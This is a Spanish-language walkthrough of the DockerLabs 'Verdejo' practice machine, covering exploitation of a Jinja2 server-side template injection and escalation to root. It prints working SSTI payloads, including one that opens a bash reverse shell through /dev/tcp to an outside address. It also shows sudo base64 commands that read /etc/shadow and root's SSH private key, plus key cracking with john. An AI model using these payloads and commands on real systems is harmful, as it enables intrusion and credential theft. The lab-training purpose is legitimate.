DockerLabs Verdejo

DockerLabs Verdejo

Esta es una máquina de DockerLabs de nivel fácil

·

3 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos el escaneo de la dirección IP y podemos observar que tenemos 3 puertos.

Nos dirigimos a la primera página, que sería el puerto 80, podemos ver la página default de apache2 y no mucho al parecer.

Ya que no encontramos mucho en la anterior nos dirigimos a la dirección con el puerto 8089 y se puede observar que tenemos un campo para ingresar texto

si enviamos el texto nos manda a una página donde indica hola + 'el cuadro de texto que ingresamos'

Primero probamos si se puede realizar un XSS.

Enviamos el script y podemos observar que sí tenemos la capacidad de ejecutar un XSS, pero para escalar privilegios no nos será muy útil.

Otra opción que podemos probar es verificar si es propenso a un SSTI, para ello la manera más practica es usando una operación matemática, en la que debe mostrarnos el resultado y no la operación.

Al enviar la operación podemos observar que nos devuelve el resultado.

Ya que somos consientes de ello, podemos apoyarnos de payloadsallthethings para emplear uno. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection usamos uno de los payloads de jinja2 y lo enviamos.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

Luego de enviar el payload podemos observar que el usuario se llama verde.

Con esto podríamos usar, hydra parar, ejecutar un ataque de fuerza bruta y con suerte obtener la clave. Probamos realizando el ataque y podemos observar que no lo logramos, debido a que el password no se encuentra en el diccionario.

Si bien no podemos obtener acceso de esa manera, podemos seguir empleando un ataque SSTI para obtener una shell. Por ello reemplazamos nuestra consulta anterior del payload y sería así

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/192.168.0.5/1234 0>&1\'').read() }}

Antes de enviarlo iniciamos nuestro listener

Enviamos el payload y ya tenemos acceso.

Una vez dentro podemos emplear sudo -l para observar si disponemos de algún binario del cual aprovecharnos y podemos ver que si tenemos uno que es base64.

Buscando en la página GTFOBins podemos observar que si bien no podemos obtener root haciendo uso de él, podemos leer archivos de root.

Con esto en mente lo primero que se nos ocurre podría ser leer el archivo shadow,

sudo base64 /etc/shadow | base64 --decode

ejecutamos el comando, pero podemos observar que no podemos ver el hash de root.

Revisando las opciones que tenemos, observamos que en nuestro escaneo teníamos el puerto SSH abierto, lo que representa que el usuario root tenga un id_rsa. Probamos leer el archivo indicando la dirección por defecto podemos observar que sí obtuvimos el id_rsa.

sudo base64 /root/.ssh/id_rsa | base64 --decode

Copiamos el archivo en nuestra máquina y en un documento damos permisos de ejecución y nos conectamos, pero nos pide el password del id_rsa.

Para este paso usamos ssh2jhon para extraer el hash del archivo

Con el uso de john podemos extraer la palabra clave si se encuentra en nuestro diccionario. Luego de un momento podemos observar cuál es el password.

Ahora con el password probamos establecer conexión, así como también ingresamos el password de manera exitosa y obtuvimos acceso como root, de esta manera podemos dar por concluida esta máquina.